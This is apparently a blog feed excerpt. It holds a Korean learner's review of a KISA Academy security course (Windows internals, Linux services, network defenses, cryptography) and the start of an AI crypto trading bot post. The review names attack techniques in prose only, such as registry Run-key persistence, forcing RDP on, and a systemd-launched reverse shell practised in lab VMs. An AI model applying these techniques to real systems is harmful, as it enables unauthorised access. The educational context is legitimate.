      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-03-12 오후 1.07.47.png&quot; data-origin-width=&quot;1884&quot; data-origin-height=&quot;1352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rFr5K/dJMcadHXfNz/JrwhQjU2xxC2B5IF3k4e81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rFr5K/dJMcadHXfNz/JrwhQjU2xxC2B5IF3k4e81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rFr5K/dJMcadHXfNz/JrwhQjU2xxC2B5IF3k4e81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrFr5K%2FdJMcadHXfNz%2FJrwhQjU2xxC2B5IF3k4e81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;589&quot; height=&quot;423&quot; data-filename=&quot;스크린샷 2026-03-12 오후 1.07.47.png&quot; data-origin-width=&quot;1884&quot; data-origin-height=&quot;1352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 교육은 시스템의 동작 원리를 깊이 있게 이해하고, 공격자의 관점에서 이를 어떻게 악용하는지, 그리고 방어자는 어떻게 탐지해야 하는지를 다루었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 교육에서 배운 내용을 간략하게 정리하고 후기글을 작성해볼까 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;4&quot; data-ke-size=&quot;size23&quot;&gt;1. Windows 시스템 구조와 보안&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;윈도우의 핵심 프로세스와 인증 메커니즘을 이해하는 것이 보안의 시작입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1608&quot; data-origin-height=&quot;928&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRg9ep/dJMcadHXfAG/P7dFVr1aOgyKl7pjYiMVOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRg9ep/dJMcadHXfAG/P7dFVr1aOgyKl7pjYiMVOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRg9ep/dJMcadHXfAG/P7dFVr1aOgyKl7pjYiMVOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRg9ep%2FdJMcadHXfAG%2FP7dFVr1aOgyKl7pjYiMVOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;302&quot; data-origin-width=&quot;1608&quot; data-origin-height=&quot;928&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-31&quot; data-path-to-node=&quot;6,0,1&quot;&gt;&lt;span data-path-to-node=&quot;6,0,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,1,0&quot;&gt;&lt;span&gt;주요 프로세스 계층:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;smss.exe&lt;/span&gt;&lt;span&gt;(세션 관리),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;wininit.exe&lt;/span&gt;&lt;span&gt;(서비스 제어),&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;lsass.exe&lt;/span&gt;&lt;span&gt;(로컬 보안 인증) 등 핵심 프로세스의 정상적인 실행 흐름을 아는 것이 중요합니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,0,1,2&quot;&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,0,1,3&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,0,1,4&quot;&gt;&lt;span&gt;악성코드는 종종 이러한 정상 프로세스 이름을 사칭하거나 내부에 코드를 삽입합니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,0,1,5&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,0,1,6&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-32&quot; data-path-to-node=&quot;6,1,1&quot;&gt;&lt;span data-path-to-node=&quot;6,1,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,1,0&quot;&gt;&lt;span&gt;레지스트리(Registry):&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;시스템 설정이 담긴 데이터베이스로, 공격자가 **지속성(Persistence)**을 유지하기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Run&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;RunOnce&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;키를 자주 조작합니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,1,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-33&quot; data-path-to-node=&quot;6,2,1&quot;&gt;&lt;span data-path-to-node=&quot;6,2,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,2,1,0&quot;&gt;&lt;span&gt;UAC와 무결성 수준(Integrity Level):&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;윈도우는 권한 상승 공격을 막기 위해 UAC를 사용하며, 프로세스마다&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-index-in-node=&quot;69&quot; data-path-to-node=&quot;6,2,1,0&quot;&gt;&lt;span&gt;System, High, Medium, Low&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 무결성 수준을 부여하여 접근을 통제합니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,2,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;6,2,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;7&quot; data-ke-size=&quot;size23&quot;&gt;2. Linux 서비스 및 관리&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;리눅스 환경에서의 프로세스 관리와 서비스 구조를 학습했습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-34&quot; data-path-to-node=&quot;9,0,1&quot;&gt;&lt;span data-path-to-node=&quot;9,0,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,1,0&quot;&gt;&lt;span&gt;초기화 시스템:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;과거의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;SysVinit&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;방식에서 현재는 병렬 실행과 의존성 관리가 가능한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;systemd&lt;/span&gt;&lt;span&gt;가 표준으로 자리 잡았습니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-35&quot; data-path-to-node=&quot;9,1,1&quot;&gt;&lt;span data-path-to-node=&quot;9,1,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,1,0&quot;&gt;&lt;span&gt;모니터링 명령어:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;실시간 시스템 상태를 확인하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;top&lt;/span&gt;&lt;span&gt;, 실행 중인 프로세스 정보를 보는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;span&gt;, 네트워크 연결을 확인하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;netstat&lt;/span&gt;&lt;span&gt;, 프로세스가 열고 있는 파일을 확인하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;lsof&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 활용법을 익혔습니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,1,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-36&quot; data-path-to-node=&quot;9,2,1&quot;&gt;&lt;span data-path-to-node=&quot;9,2,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,1,0&quot;&gt;&lt;span&gt;크론(Cron) 서비스:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;예약 작업을 관리하는 서비스로, 공격자가 정기적으로 악성 스크립트를 실행하기 위해 악용할 수 있어 주기적인 점검이 필수적입니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,2,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;9,2,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;10&quot; data-ke-size=&quot;size23&quot;&gt;3. 네트워크 보안 및 보안 솔루션&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;네트워크 계층에 따른 보안 장비의 역할과 한계를 분석했습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;보안 솔루션 비교:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-37&quot; data-path-to-node=&quot;12,0,1,0,1&quot;&gt;&lt;span data-path-to-node=&quot;12,0,1,0,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,1,0,1,0&quot;&gt;&lt;span&gt;방화벽(Firewall):&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;IP/Port 기반 차단 (L3~L4 계층)&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,0,1,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,0,1,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-38&quot; data-path-to-node=&quot;12,0,1,1,1&quot;&gt;&lt;span data-path-to-node=&quot;12,0,1,1,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,1,1,1,0&quot;&gt;&lt;span&gt;WAF(Web Application Firewall):&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SQL Injection 등 웹 공격 차단 (L7 계층)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-39&quot; data-path-to-node=&quot;12,0,1,2,1&quot;&gt;&lt;span data-path-to-node=&quot;12,0,1,2,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,1,2,1,0&quot;&gt;&lt;span&gt;IDS/IPS:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;비정상 행위 및 공격 패턴 탐지/차단 (전 계층)&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,0,1,2,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,0,1,2,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-40&quot; data-path-to-node=&quot;12,1,1&quot;&gt;&lt;span data-path-to-node=&quot;12,1,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,1,0&quot;&gt;&lt;span&gt;현대적 보안 트렌드:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;EDR(단말 대응), XDR(통합 탐지), Zero Trust 등 경계를 넘어 지속적으로 의심하고 검증하는 구조로 진화하고 있습니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;12,1,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;13&quot; data-ke-size=&quot;size23&quot;&gt;4. 암호학 기초 및 SSH&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-41&quot; data-path-to-node=&quot;15,0,1&quot;&gt;&lt;span data-path-to-node=&quot;15,0,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,1,0&quot;&gt;&lt;span&gt;대칭키 vs 비대칭키:&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;속도가 빠른 대칭키 암호화(AES 등)와 키 공유 문제를 해결해주는 비대칭키 암호화(RSA 등)의 특징을 이해했습니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li id=&quot;p-rc_34a5bc331ec95f5b-42&quot; data-path-to-node=&quot;15,1,1&quot;&gt;&lt;span data-path-to-node=&quot;15,1,1,0&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,1,1,0&quot;&gt;&lt;span&gt;SSH(Secure Shell):&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;안전한 원격 접속을 위해 버전 협상, 키 교환, 인증 과정을 거쳐 암호화된 채널을 형성하며, 현재는 보안성이 강화된 SSH-2 사용이 권장됩니다.&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;후기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;15,0&quot;&gt;이번 교육의 가장 큰 장점은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-index-in-node=&quot;16&quot; data-path-to-node=&quot;15,0&quot;&gt;압도적인 실습 환경&lt;/b&gt;이었습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,2&quot;&gt;&lt;span&gt;KISA 아카데미 사이트 내에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;15,2&quot;&gt;&lt;span&gt;각 운영체제(Windows, Ubuntu, Kali Linux)마다 개별 VM을 따로 제공&lt;/span&gt;&lt;/b&gt;&lt;span&gt;해준 덕분에 복잡한 세팅 과정 없이 아주 편하게 실습에만 집중할 수 있었습니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,4&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p id=&quot;p-rc_eb90706a9f58fd84-76&quot; style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;16&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;16,0&quot;&gt;또한, 자칫 지루할 수 있는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-index-in-node=&quot;16&quot; data-path-to-node=&quot;16,0&quot;&gt;이론 내용들을 즉각적으로 실습으로 구현&lt;/b&gt;해보는 과정이 정말 유익했습니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;16,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;16,2&quot;&gt;&lt;span&gt;예를 들어, 레지스트리 조작을 통한 RDP 강제 활성화나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;systemd&lt;/span&gt;&lt;span&gt;를 이용한 리버스 쉘 자동 실행 등은 이론으로만 들었을 때보다 직접 명령어를 입력하며 결과를 확인하니 보안 위협이 훨씬 더 생생하게 와닿았습니다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;16,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;16,4&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;16&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-path-to-node=&quot;17&quot; data-ke-size=&quot;size16&quot;&gt;보안의 기본기를 다지고 싶은 분들이나 시스템 내부 동작 원리를 실무 관점에서 배우고 싶은 분들께 적극 추천하고 싶은 교육입니다!&lt;/p&gt;</description>
      <category>후기</category>
      <category>KISA 아카데미</category>
      <category>보안공부</category>
      <category>후기</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/28</guid>
      <comments>https://seowoo-j.tistory.com/28#entry28comment</comments>
      <pubDate>Thu, 12 Mar 2026 13:32:46 +0900</pubDate>
    </item>
    <item>
      <title>AI Trading Bot 개발기 &amp;mdash; Day 1</title>
      <link>https://seowoo-j.tistory.com/27</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJDk52/dJMcab4rXTQ/iCAPfY2gJZa9CpCzf0tJs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJDk52/dJMcab4rXTQ/iCAPfY2gJZa9CpCzf0tJs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJDk52/dJMcab4rXTQ/iCAPfY2gJZa9CpCzf0tJs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJDk52%2FdJMcab4rXTQ%2FiCAPfY2gJZa9CpCzf0tJs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1194&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Walk-Forward Backtest와 Adaptive Percentile 전략 구현&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 개인 프로젝트로 &lt;b&gt;AI 기반 자동 트레이딩 시스템&lt;/b&gt;을 개발하기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목표는 단순한 백테스트가 아니라 &lt;b&gt;실제로 24시간 돌아가는 AI 트레이딩 봇&lt;/b&gt;을 만드는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Day 1에서는 다음과 같은 핵심 기능들을 구현했다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Feature Engineering 파이프라인 구축&lt;/li&gt;
&lt;li&gt;LightGBM 기반 가격 방향 예측 모델&lt;/li&gt;
&lt;li&gt;Percentile 기반 트레이딩 전략&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Walk-Forward Backtesting&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Regime Adaptive Percentile 전략&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 현재까지 구현한 시스템 구조와 실험 결과를 정리해보려고 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;프로젝트 목표&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트의 목표는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;머신러닝 기반 &lt;b&gt;시장 방향 예측 모델 구축&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;백테스트 기반 &lt;b&gt;전략 검증 시스템 구축&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Walk-forward 검증을 통한 과적합 방지&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;최종적으로 &lt;b&gt;AWS에서 24시간 동작하는 트레이딩 봇 개발&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 모델 정확도를 높이는 것이 아니라 &lt;b&gt;실제 전략 성능(Sharpe, Drawdown 등)&lt;/b&gt;을 기준으로 시스템을 개선하는 것이 목표다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;데이터&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 데이터는 &lt;b&gt;Binance BTCUSDT 15분봉&lt;/b&gt;을 사용하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예측 문제는 다음과 같이 정의했다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;현재 시점 &amp;rarr; 3시간 뒤 가격 상승 여부 예측&lt;br /&gt;※ target_horizon = 12 candles (15분 &amp;times; 12 = 3시간)&lt;/blockquote&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Feature Engineering&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현재 사용 중인 주요 피처는 다음과 같다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;가격 기반&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;return_1&lt;/li&gt;
&lt;li&gt;return_3&lt;/li&gt;
&lt;li&gt;return_5&lt;/li&gt;
&lt;li&gt;log_return&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;추세 지표&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SMA 10&lt;/li&gt;
&lt;li&gt;SMA 20&lt;/li&gt;
&lt;li&gt;SMA 50&lt;/li&gt;
&lt;li&gt;SMA 100&lt;/li&gt;
&lt;li&gt;SMA 200&lt;/li&gt;
&lt;li&gt;SMA ratio&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;모멘텀 지표&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;RSI&lt;/li&gt;
&lt;li&gt;MACD&lt;/li&gt;
&lt;li&gt;MACD histogram&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;변동성&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ATR&lt;/li&gt;
&lt;li&gt;Bollinger Band width&lt;/li&gt;
&lt;li&gt;Volatility&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;거래량&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Volume change&lt;/li&gt;
&lt;li&gt;Volume z-score&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;특히 모델 중요도를 보면 다음 피처들이 중요하게 나타났다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. sma_50_200_ratio &lt;br /&gt;2. atr_ratio &lt;br /&gt;3. volatility_20 &lt;br /&gt;4. bollinger_width&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;▶︎ &lt;b&gt;추세 + 변동성 기반 신호가 가장 강하게 작동하고 있다.&lt;/b&gt;&lt;/p&gt;
